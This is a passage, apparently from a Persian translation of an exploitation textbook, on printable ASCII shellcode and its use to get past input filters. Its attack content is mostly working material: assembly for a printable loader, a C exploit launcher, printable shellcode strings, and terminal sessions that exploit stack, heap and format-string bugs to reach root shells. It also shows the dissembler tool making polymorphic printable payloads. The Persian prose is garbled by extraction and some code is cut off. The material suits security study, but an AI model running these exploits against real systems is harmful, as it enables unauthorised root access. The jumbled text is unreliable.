ﻣﯽ ﺗﻮاﻧﺪ روﻧﺪ اﺟﺮا راEIP از ﮐﺪ ﺑﺎرﮔﺬار ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮﻧﺪ و در ﻧﺘﯿﺠﻪpush روی در دﺳﺘﻮرات در ﺣﺎل اﺟﺮایNOP
: ﻧﺘﺎﯾﺞ ﭘﺎﯾﺎﻧﯽ ﺑﻪ ﻫﻤﺮاه ﺗﻮﺿﯿﺤﺎت ﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ.ﮐﺪ ﺗﻐﯿﯿﺮ دﻫﺪ-ﺑﺮ روی ﺳﻮرﺗﻤﻪ ﻣﻮﺟﻮد درون ﺷﻞ
print.asm
BITS 32
and eax, 0x454e4f4a ; Zero out the EAX register
and eax, 0x3a313035 ; by ANDing opposing, but printable bits
; Now ESP is 860 bytes further down (in higher memory addresses)
; which is past our loader bytecode that is executing now.
. ﻣﯽ ﮔﻮﺋﯿﻢNOP Bridge ﯾﺎNOP ﮐﻪ ﺑﻪ اﯾﻦ ﻣﻨﻈﻮر اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد اﺻﻄﻼﺣﺎ ﭘﻞNOP ﺑﻪ ﺳﻮرﺗﻤﻪ41
90
sub eax, 0x43434343 ; Subtract more printable values
sub eax, 0x25773025 ; from EAX to wrap EAX to 0xc931db31
sub eax, 0x36653234 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack
char shellcode[] =
"%JONE%501:TX-3399-Purr-!TTTP\\%JONE%501:-tKK4-gXn%-uPy%P-8Jxn-%8sxP-dddd-
777j-
JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-yDmuP-CCCC-%0w%-42e6P-H8z8-
Y8q8P-
jj4j-d9L%-2658PPPPPPPPPPPPPPPP";
// Fill the first 200 bytes of the buffer with "NOP" instructions
for(i=0; i < 200; i++)
{ buffer[i] = '@'; } // Use a printable single-byte instruction
// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);
return 0;
}
ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺟﺪﯾﺪ و ﯾﮏ دﺳﺘﻮر ﺗـﮏ ﺑـﺎﯾﺘﯽ ﻗﺎﺑـﻞ ﭼـﺎپ-ﮐﺪ ﻓﻮق ﻫﻤﺎن ﮐﺪ ﻗﺒﻠﯽ اﺳﺖ و ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐﻪ ﺗﻨﻬﺎ از ﺷﻞ
از،ﮐﺪ ﻗﺎﺑﻞ ﭼـﺎپ- ﻫﻤﭽﻨﯿﻦ ﺗﻮﺟﻪ ﮐﻨﯿﺪ ﮐﻪ ﺑﺮای ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪن ﺻﺤﯿﺢ ﺷﻞ. اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪNOP ﺑﺮای اﯾﺠﺎد ﺳﻮرﺗﻤﻪ
ﭼـﺮا ﮐـﻪ ﺑـﻪ اﯾـﻦ ﺻـﻮرت ﻧﻘـﺶ وﯾـﮋه، اﺳﺘﻔﺎده ﮐـﺮده اﯾـﻢbackslash اﺿﺎﻓﯽ در ﮐﻨﺎر ﯾﮏbackslash ﯾﮏ ﮐﺎراﮐﺘﺮ
ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑﺎ اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻫﮕﺰادﺳﯿﻤﺎل ﺗﻌﺮﯾﻒ ﺷـﺪه- اﮔﺮ ﺷﻞ. را ﻣﻨﺘﻔﯽ ﺳﺎﺧﺘﻪ اﯾﻢbackslash ﮐﺎراﮐﺘﺮ
ﺧﺮوﺟﯽ زﯾﺮ ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای اﮐﺴﭙﻠﻮﯾﺖ را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐـﻪ ﻧﺘﯿﺠـﻪ آن. ﻧﯿﺎزی ﺑﻪ اﻧﺠﺎم اﯾﻦ ﮐﺎر ﻧﯿﺴﺖ،اﺳﺖ
.اﻋﻄﺎی ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﺑﻪ ﻧﻔﻮذﮔﺮ اﺳﺖ
$ gcc -o exploit2 printable_exploit.c
$ ./exploit2 0
Stack pointer (EIP) : 0xbffff7f8
Offset from EIP : 0x0
Desired Return Addr : 0xbffff7f8
sh-2.05b# whoami
root
sh-2.05b#
وﺟـﻮدsub ﭼﻮن ﺗﻌﺪاد ﺗﺮﮐﯿﺒﺎت ﻣﺨﺘﻠﻒ ﺑﯽ ﺷـﻤﺎری از ﻣﻘـﺎدﯾﺮ دﺳـﺘﻮر.ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﮐﺎر ﮐﺮد و اﯾﻦ ﻋﺎﻟﯽ اﺳﺖ-ﺷﻞ
ﮐـﺪ ﺧﺎﺻـﯿﺖ- ﺑﻨـﺎﺑﺮاﯾﻦ ﺷـﻞ،( را ﺑـﻪ دور ﻫـﺮ ﻣﻘـﺪار ﻣﻄﻠـﻮب ﻣـﯽ ﭘﯿﭽﺎﻧﻨـﺪ )ﭼـﺮﺧﺶ ﭘﻮﺷـﺸﯽEAX دارﻧﺪ ﮐﻪ ﻣﻘﺪار
92
دﮔﺮﺷﮑﻠﯽ ﻧﯿﺰ دارد .ﺗﻐﯿﯿﺮ دادن اﯾﻦ ﻣﻘﺎدﯾﺮ ﺳﺒﺐ ﺗﻐﯿﯿﺮ ﺷﮑﻞ )ﻇﺎﻫﺮ( در ﺷﮑﻞ ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ ﻫﻨﻮز ﻣـﯽ ﺗﻮاﻧـﺪ ﻣـﺎ را ﺑـﻪ
ﻫﻤﺎن ﻧﺘﺎﯾﺞ ﻧﻬﺎﯾﯽ ﻗﺒﻠﯽ ﺳﻮق دﻫﺪ.
ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﺑﺎ اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ را ﻣﯽ ﺗﻮان در ﺳﻄﺢ ﺧﻂ-ﻓﺮﻣـﺎن ﺑـﺎ اﺳـﺘﻔﺎده از ﯾـﮏ ﺳـﻮرﺗﻤﻪ
NOPﻧﯿﺰ اﻧﺠﺎم داد.
?$ echo 'main(){int sp;printf("%p\n",&sp);}'>q.c;gcc -o q.x q.c;./q.x;rm q.
0xbffff844
$ ./vuln 'perl -e 'print "JIBBAJABBA"x20;'"cat print"perl -e 'print
'';"\x44\xf8\xff\xbf"x40
sh-2.05b# whoami
root
sh-2.05b#
اﻣﺎ اﮔﺮ ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ را در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ذﺧﯿﺮه ﮐﻨﯿﺪ ﮐﺎرﮐﺮد ﻧﺨﻮاﻫـﺪ داﺷـﺖ ،ﭼـﺮا ﮐـﻪ اﺷـﺎرﮔﺮ ﭘـﺸﺘﻪ در
ﻫﻤﺎن ﻣﮑﺎن ﻧﯿﺴﺖ .ﺑﺮای اﯾﻨﮑﻪ ﺷﻞ-ﮐﺪ واﻗﻌﯽ در ﻣﮑﺎﻧﯽ ﻧﻮﺷﺘﻪ ﺷﻮد ﮐﻪ ﺗﻮﺳﻂ ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﻗﺎﺑﻞ دﺳﺘﺮس ﺑﺎﺷﺪ،
ﺑﺎﯾﺪ ﺗﺎﮐﺘﯿﮏ ﺟﺪﯾﺪی را ﺑﻪ ﮐﺎر ﺑﺴﺖ .ﯾﮏ راه ﻣﯽ ﺗﻮاﻧﺪ ﻣﺤﺎﺳﺒﻪ ﻣﮑﺎن ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ و ﺳﭙﺲ ﺗﻐﯿﯿﺮ ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼـﺎپ
در ﻫﺮ ﺑﺎر ﺑﺎﺷﺪ ﺗﺎ ﺑﺪﯾﻦ ﺻﻮرت اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﺣﺪودا در 50ﺑﺎﯾﺖ ﻗﺒﻞ از اﻧﺘﻬﺎی ﮐﺪ ﺑﺎرﮔﺬار ﻗﺎﺑﻞ ﭼﺎپ ﻗـﺮار ﺑﮕﯿـﺮد ﺗـﺎ
اﻣﮑﺎن ﺳﺎﺧﺘﻪ ﺷﺪن ﺷﻞ-ﮐﺪ واﻗﻌﯽ ﻓﺮاﻫﻢ ﺷﻮد.
اﮔﺮﭼﻪ اﯾﻦ ﺗﺎﮐﺘﯿﮏ ﻣﻤﮑﻦ و ﺷﺪﻧﯽ اﺳﺖ ،اﻣـﺎ راه ﺣﻠـﯽ ﺳـﺎده ﺗـﺮی وﺟـﻮد دارد .ﭼـﻮن ﻣﺘﻐﯿﺮﻫـﺎی ﻣﺤﯿﻄـﯽ ﻣﻌﻤـﻮﻻ در
ﻧﺰدﯾﮑﯽ ﭘﺎﺋﯿﻦ ﭘﺸﺘﻪ )در آدرس ﻫﺎی ﺑﺎﻻﺗﺮ ﺣﺎﻓﻈﻪ( ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ ،ﻟﺬا ﻣﯽ ﺗﻮان اﺷﺎرﮔﺮ ﭘﺸﺘﻪ را ﺑﻪ آدرﺳﯽ ﻧﺰدﯾﮏ ﺑـﻪ
ﭘﺎﺋﯿﻦ ﭘﺸﺘﻪ ،ﻣﺜﻼ 0xbfffffe0ﺗﻨﻈﯿﻢ ﮐﺮد .ﺳﭙﺲ ﺷﻞ-ﮐﺪ ﺣﻘﯿﻘﯽ از اﯾﻦ ﻧﻘﻄﻪ رو ﺑﻪ ﻋﻘﺐ ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﻣـﯽ ﺗـﻮان
ﺑﺎ ﯾﮏ ﭘﻞ NOPﺑﺰرگ ،ﺷﮑﺎف ﻣﻮﺟﻮد ﺑﯿﻦ ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ )ﮐﺪ ﺑﺎرﮔﺬار ﻣﻮﺟﻮد در ﻣﺤﯿﻂ( و ﺷﻞ-ﮐﺪ واﻗﻌـﯽ را ﭘـﺮ
اﯾﺠﺎد ﮐﺮد .در زﯾﺮ ﻧﺴﺨﻪ ﺟﺪﯾﺪی از ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ را ﻣﻼﺣﻈﻪ ﺧﻮاﻫﯿﺪ ﮐﺮد ﮐﻪ اﯾﻦ ﻋﻤﻞ را اﻧﺠﺎم ﻣﯽ دﻫﺪ.
print2.asm
BITS 32
and eax, 0x454e4f4a ; Zero out the EAX register
and eax, 0x3a313035 ; by ANDing opposing, but printable bits
93
sub eax, 0x41367070 ; from EAX to wrap EAX to 0x69622f68
sub eax, 0x52257441 ; (took 3 instructions to get there)
push eax ; and then push EAX to the stack
95
. ﺑﺰرﮔﺘﺮ ﺑﺮای ﭘﺮ ﮐﺮدن ﺷﮑﺎف ﺑﻮﺟﻮد آﻣـﺪه ﺑﮑـﺎر ﮔﺮﻓﺘـﻪ ﺷـﻮدNOP ﺑﺎﯾﺪ ﯾﮏ ﭘﻞ،از اﻧﺘﻬﺎی ﻣﺤﯿﻂ ﻗﺮار ﮔﺮﻓﺘﻪ ﺑﺎﺷﺪ
:ﻣﺜﺎﻟﯽ از اﯾﻦ ﻣﻮرد را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ
$ unset ZPRINTABLE
$ export SHELLCODE=JIBBAJABBAHIJACK'cat print2'
$ env
MANPATH=/usr/share/man:/usr/local/share/man:/usr/share/gcc-data/i686-pc-
linux-
gnu/3.2/man:/usr/X11R6/man:/opt/insight/man
INFODIR=/usr/share/info:/usr/X11R6/info
HOSTNAME=overdose
SHELLCODE=JIBBAJABBAHIJACK%JONE%501:-CBCY-oooo-nNMwP\%JONE%501:-tKK4-gXn%-
uPy%P-8Jxn-%8sxP-dddd-777j-JdbyP-Uu%U-pp6A-At%RP-wwww-OO33-s9DVP-r%O%-wDee-
yDmuP-CCCC-%0w%-42e6P-H8z8-Y8q8P-jj4j-d9L%-
2658PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
TERM=xterm
SHELL=/bin/sh
SSH_CLIENT=192.168.0.118 1840 22
SSH_TTY=/dev/pts/2
MOZILLA_FIVE_HOME=/usr/lib/mozilla
USER=matrix
PAGER=/usr/bin/less
CONFIG_PROTECT_MASK=/etc/gconf
PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-
bin/3.2:/usr/X11R6/bin:/opt/sun-jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/usr/games/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/u
sr/sbin:
/usr/local/sbin:/home/matrix/bin
PWD=/hacking
JAVA_HOME=/opt/sun-jdk-1.4.0
EDITOR=/bin/nano
JAVAC=/opt/sun-jdk-1.4.0/bin/javac
PS1=\$
CXX=g++
JDK_HOME=/opt/sun-jdk-1.4.0
SHLVL=1
HOME=/home/matrix
LESS=-R
LOGNAME=matrix
CVS_RSH=ssh
LESSOPEN=|lesspipe.sh %s
INFOPATH=/usr/share/info:/usr/share/gcc-data/i686-pc-linux-gnu/3.2/info
CC=gcc
G_BROKEN_FILENAMES=1
_=/usr/bin/env
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffc03
$ ./vuln2 'perl -e 'print "\x03\xfc\xff\xbf"x9;''
Segmentation fault
$ export SHELLCODE=JIBBAJABBAHIJACK'cat
print2'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
PPPPPPPP
P
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffb63
$ ./vuln2 'perl -e 'print "\x63\xfb\xff\xbf"x9;''
sh-2.05b# whoami
root
sh-2.05b#
ﻣـﯽ ﺗـﻮان از آن در اﮐـﺴﭙﻠﻮﯾﺖ،ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ و در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﻗـﺮار دارد-اﮐﻨﻮن ﮐﻪ ﺷﻞ
.ﻓﺮﻣﺖ اﺳﺘﻔﺎده ﮐﺮد- و رﺷﺘﻪHeap ﻫﺎی ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ
: )ﻣﻄﺮح ﺷﺪه در ﻗﺒﻞ( ﻣﯽ ﺑﯿﻨﯿﺪHeap ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﯾﮏ ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ-در زﯾﺮ ﻣﺜﺎﻟﯽ را از اﺳﺘﻔﺎده از ﺷﻞ
96
$ unset SHELLCODE
$ export ZPRINTABLE='cat print2'
$ getenvaddr ZPRINTABLE
ZPRINTABLE is located at 0xbffffe73
$ pcalc 0x73 + 4
119 0x77 0y1110111
$ ./bss_game 12345678901234567890'printf "\x77\xfe\xff\xbf"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890wÞÿ¿
[after strcpy] function_ptr @ 0x8049c88: 0xbffffe77
----------
sh-2.05b# whoami
root
sh-2.05b#
:ﻓﺮﻣﺖ ﻣﻼﺣﻈﻪ ﻣﯽ ﻓﺮﻣﺎﯾﯿﺪ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ رﺷﺘﻪ-و اﯾﻨﺠﺎ ﻧﯿﺰ ﻣﺜﺎﻟﯽ را از اﺳﺘﻔﺎده از ﺷﻞ
$ getenvaddr ZPRINTABLE
ZPRINTABLE is located at 0xbffffe73
$ pcalc 0x73 + 4
119 0x77 0y1110111
$ nm ./fmt_vuln | grep DTOR
0804964c d __DTOR_END__
08049648 d __DTOR_LIST__
$ pcalc 0x77 - 16
103 0x67 0y1100111
$ pcalc 0xfe - 0x77
135 0x87 0y10000111
$ pcalc 0x1ff - 0xfe
257 0x101 0y100000001
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x4c\x96\x04\x08\x4d\x96\x04\x08\x4e\x96\x04\x08\x4f\x96\x04\x08"'%3\$103x
%4\$n%3\
$135x%5\$n%3\$257x%6\$n%3\$192x%7\$n
The right way:
%3$103x%4$n%3$135x%5$n%3$257x%6$n%3$192x%7$n
The wrong way:
0
[*] test_val @ 0x08049570 = -72 0xffffffb8
sh-2.05b# whoami
root
sh-2.05b#
ﮐﺪ ﺣﺎﺿﺮ را ﻣﯿﺘﻮان ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ای ﺑﮑﺎر ﮔﺮﻓﺖ ﮐﻪ در آن ﻋﻤﻠﯿﺎت- ﻣﺜﻞ ﺷﻞ،ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ-ﯾﮏ ﺷﻞ
.( ﺟﻬﺖ ﻣﺤﺪود ﺷﺪن ﮐﺎراﮐﺘﺮﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ اﻧﺠﺎم ﻣﯽ ﺷﻮدinput validation) اﻋﺘﺒﺎرﺳﻨﺠﯽ ورودی
Dissembler اﺑﺰار.2,10,11
اراﺋﻪ ﮐﺮده اﺳﺖ ﮐـﻪ از ﺗﮑﻨﯿﮑـﯽ ﮐـﻪ درdissembler ( اﺑﺰار ﻣﻔﯿﺪی ﺗﺤﺖ ﻋﻨﻮانPhiral) آزﻣﺎﯾﺸﮕﺎه ﺗﺤﻘﯿﻘﺎﺗﯽ ﻓﯿﺮال
اﯾـﻦ.ﮐﺪﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ ﺗﻮﻟﯿﺪ ﮐﻨـﺪ-ﮐﺪ ﻣﻮﺟﻮد ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎﯾﺖ-ﺑﺎﻻ ﺑﺤﺚ ﺷﺪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ و از ﯾﮏ ﺗﮑﻪ ﺑﺎﯾﺖ
. ﻗﺎﺑﻞ دﺳﺘﺮس اﺳﺖphiral.com اﺑﺰار از آدرس
$ ./dissembler
97
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
98
$ ./gtenv SHELLCODE
SHELLCODE is located at 0xbffffa44
$ ./vuln2 '';'perl -e 'print "\x44\xfa\xff\xbf"x8
sh-2.05b# whoami
root
sh-2.05b#
در اﯾﻦ ﻣﺜﺎل ﺷﻞ-ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ از ﻓﺎﯾﻞ ﺷﻞ-ﮐﺪ ﮐﻮﭼﮏ ﺳﺎﺧﺘﻪ ﺷﺪه اﺳﺖ .ﻫﻨﮕﺎم ﻗﺮار ﮔﺮﻓﺘﻦ رﺷﺘﻪ ﯾﮑﺴﺎن )ﺑﻪ
ﺣﺎﻟﺖ واﺿﺢ و ﻏﯿﺮﻫﮕﺰادﺳﯿﻤﺎل( در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ از ﮐﺎراﮐﺘﺮ backslashاﺿﺎﻓﯽ ﺑﺮای ﻟﻐﻮ ﮐﺮدن ﻋﻤﻞ وﯾﮋه اﯾـﻦ
ﮐﺎراﮐﺘﺮ اﺳﺘﻔﺎده ﺷﺪه اﺳﺖ ﺗﺎ ﻋﻤﻠﯿﺎت ﮐﭙﯽ و اﻟﺼﺎق راﺣﺖ ﺗﺮ اﻧﺠﺎم ﺷﻮد .ﻃﺒﻖ ﻣﻌﻤﻮل ﺑﺴﺘﻪ ﺑﻪ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ در ﺣـﺎل
اﺟﺮا ،ﻣﮑﺎن ﺷﻞ-ﮐﺪ در ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﺗﻐﯿﯿﺮ ﺧﻮاﻫﺪ ﮐﺮد.
ﺗﻮﺟﻪ ﮐﻨﯿﺪ ﮐﻪ ﺑﻪ ﺟﺎی اﻧﺠﺎم اﻋﻤﺎل رﯾﺎﺿﯽ در ﻫﺮ ﺑﺎر ،ﯾﮏ اﺗﺼﺎل ﻧﺸﺎﻧﻪ ای ﺑﻪ ﺻﻮرت ﯾـﮏ ﻧـﺎم ﻓﺎﯾـﻞ ﻫـﻢ اﻧـﺪازه ﺑـﺎ ﺑـﺎ
ﺑﺮﻧﺎﻣﻪ getenvaddrاﯾﺠﺎد ﺷﺪه اﺳﺖ .اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ ﺗﺴﻬﯿﻞ ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻣﯽ ﺷﻮد .اﻟﺒﺘﻪ در ﺣﺎل ﺣﺎﺿـﺮ آﻧﻘـﺪر
ﻣﺴﻠﻂ ﺷﺪه اﯾﺪ ﺗﺎ ﯾﮏ راه ﻣﺸﺎﺑﻪ ﺑﺮای ﺧﻮد را در ﭘﯿﺶ ﮔﯿﺮﯾﺪ.
ﭘﻞ از 300ﮐﻠﻤﻪ NOPﺗﺸﮑﯿﻞ ﺷﺪه اﺳﺖ )ﻣﻌﺎدل 1200ﺑﺎﯾﺖ( ﮐﻪ ﺑﺮای ﭘﺮ ﮐﺮدن ﺷﮑﺎف ﻣﻨﺎﺳﺐ ﻣﯽ ﺑﺎﺷﺪ ،اﻣﺎ اﻧﺪازه
ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﻧﯿﺰ در اﯾﻦ ﺻﻮرت ﺧﯿﻠﯽ ﺑﺰرگ ﻣﯽ ﺷﻮد .اﮔﺮ آدرس ﻫﺪف ﺑﺮای ﮐﺪ ﺑﺎرﮔﺬار را ﺑﺪاﻧﯿﻢ ﻣﯽ ﺗﻮان اﯾﻦ
اﻧﺪازه را ﺑﻬﯿﻨﻪ ﮐﺮد .ﻫﻤﭽﻨﯿﻦ ﻣﯿﺘﻮان از ﻋﻼﻣﺎت ﻧﻘﻞ ﻗﻮل ﺑﺮای دوری از ﮐﭙﯽ ﮐﺮدن ﻫﺎ و اﻟﺼﺎق ﮐﺮدن ﻫﺎ اﺳﺘﻔﺎده ﮐـﺮد،
ﭼﻮﻧﮑﻪ ﺷﻞ-ﮐﺪ در ﺧﺮوﺟﯽ اﺳﺘﺎﻧﺪارد ﻧﻮﺷﺘﻪ ﺧﻮاﻫﺪ ﺷﺪ ،اﻣﺎ اﻃﻼﻋـﺎت ﺗﮑﻤﯿﻠـﯽ ) (verbose informationدر ﺧﻄـﺎی
اﺳﺘﺎﻧﺪارد.
ﺧﺮوﺟﯽ زﯾﺮ اﺳﺘﻔﺎده از dissemblerرا ﺟﻬﺖ اﯾﺠﺎد ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ از ﯾﮏ ﺷﻞ-ﮐﺪ ﻣﻌﻤﻮﻟﯽ ﻧﺸﺎن ﻣﯽ دﻫﺪ .ﺳﭙﺲ
ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ذﺧﯿﺮه ﻣـﯽ ﺷـﻮد و ﺑﻌـﺪا ﺑـﺮای اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن ﺑﺮﻧﺎﻣـﻪ vuln2ﺳـﻌﯽ ﺑـﺮ
اﺳﺘﻔﺎده از آن ﺧﻮاﻫﯿﻢ ﮐﺮد.
'$ export SHELLCODE='dissembler -N -t 0xbffffa44 tinyshell
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
99
ﺑﺎﯾـﺖ ﺑـﻮد و461 ﮐﺪ ﻗﺎﺑﻞ ﭼـﺎپ ﻗﺒﻠـﯽ- ﭼﻮن اﻧﺪازه ﺷﻞ.ﻣﺘﺎﺳﻔﺎﻧﻪ اﻧﺪازه ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﻣﮑﺎن آﻧﺮا ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ
ﺳـﻌﯽ در. ﺑﻨﺎﺑﺮاﯾﻦ آدرس ﻫﺪف ﻧﺎﺻﺤﯿﺢ ﺧﻮاﻫـﺪ ﺑـﻮد، ﺑﺎﯾﺖ اﺳﺖ145 ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑﻬﯿﻨﻪ ﺷﺪه ﺗﻨﻬﺎ-اﻧﺪازه اﯾﻦ ﺷﻞ
ﻟـﺬا ﯾـﮏ ﺳـﻮﺋﯿﭻ در ﺑﺮﻧﺎﻣـﻪ،ﯾﺎﻓﺘﻦ ﯾـﮏ ﻫـﺪف ﻣﺘﺤـﺮک )دارای ﻗﺎﺑﻠﯿـﺖ ﺟﺎﺑﺠـﺎﯾﯽ( ﮐـﺎری ﺑـﺲ ﺧـﺴﺘﻪ ﮐﻨﻨـﺪه اﺳـﺖ
. ﺑﻪ اﯾﻦ ﻣﻨﻈﻮر ﺗﻌﺒﯿﻪ ﺷﺪه اﺳﺖdissembler
$ export SHELLCODE='dissembler -N -t 0xbffffa44 -s 461 tinyshell'
dissembler 0.9 - polymorphs bytecode to a printable ASCII string
- Jose Ronnick <[email protected]> Phiral Research Labs -
438C 0255 861A 0D2A 6F6A 14FA 3229 4BD7 5ED9 69D0
100
اﮔﺮﭼﻪ ﺑﻌﯿﺪ اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ای ﺑﺎ ﭼﻨﯿﻦ ﺗﺎﺑﻊ اﻋﺘﺒﺎرﺳﻨﺠﯽ ورودی ﺳﺮﺳﺨﺘﺎﻧﻪ ای در ﻋﻤﻞ ﭘﯿﺪا ﺷﻮد ،اﻣـﺎ ﺗﻮاﺑـﻊ ﻣﻌﻤـﻮﻟﯽ
وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﺮای اﻋﺘﺒﺎرﺳﻨﺠﯽ ورودی ﺑﻪ ﮐﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮﻧﺪ .در زﯾﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﻧﻤﻮﻧﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ
ﮐﻨﯿﺪ ﮐﻪ ﺑﻪ دﻟﯿﻞ وﺟﻮد ﯾﮏ ﺣﻠﻘﻪ اﻋﺘﺒﺎرﺳﻨﺠﯽ در ﺗﺎﺑﻊ )( isprintﺑﺎﯾﺪ آﻧﺮا ﺑﺎ ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮد.
only_print.c code
)void func(char *data
{
;]char buffer[5
;)strcpy(buffer, data
}
102
--
arg2 is at 0xbffff9bf
sh-2.05b# whoami
root
sh-2.05b#
.ﮐﺪ از اﻋﺘﺒﺎرﺳﻨﺞ ورودی ﺑﺮای ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼـﺎپ را ﻓـﺮاﻫﻢ ﮐـﺮد-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ اﻣﮑﺎن ﻋﺒﻮر ﺷﻞ-اﺳﺘﻔﺎده از ﺷﻞ
در زﯾﺮ اﯾﻦ ﻣﺜﺎل را ﻣـﺸﺎﻫﺪه.ﻣﺜﺎل ﻗﺎﺑﻞ ﺗﻮﺟﻪ دﯾﮕﺮ زﻣﺎﻧﯽ اﺳﺖ ﮐﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺗﻘﺮﯾﺒﺎ ﺗﻤﺎم ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ را ﭘﺎک ﻣﯽ ﮐﻨﺪ
.ﻣﯽ ﻧﻤﺎﯾﯿﺪ
cleared_stack.c code
void func(char *data)
{
char buffer[5];
strcpy(buffer, data);
}
func(argv[1]);
return 0;
}
ﭼـﻮن.ﺑﺮﻧﺎﻣﻪ ﺗﻤﺎم آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ را ﺑﻪ ﻏﯿﺮ اوﻟﯿﻦ آرﮔﻮﻣﺎن و ﻫﻤﭽﻨﯿﻦ ﺗﻤﺎم ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄـﯽ را ﭘـﺎک ﻣـﯽ ﻧﻤﺎﯾـﺪ
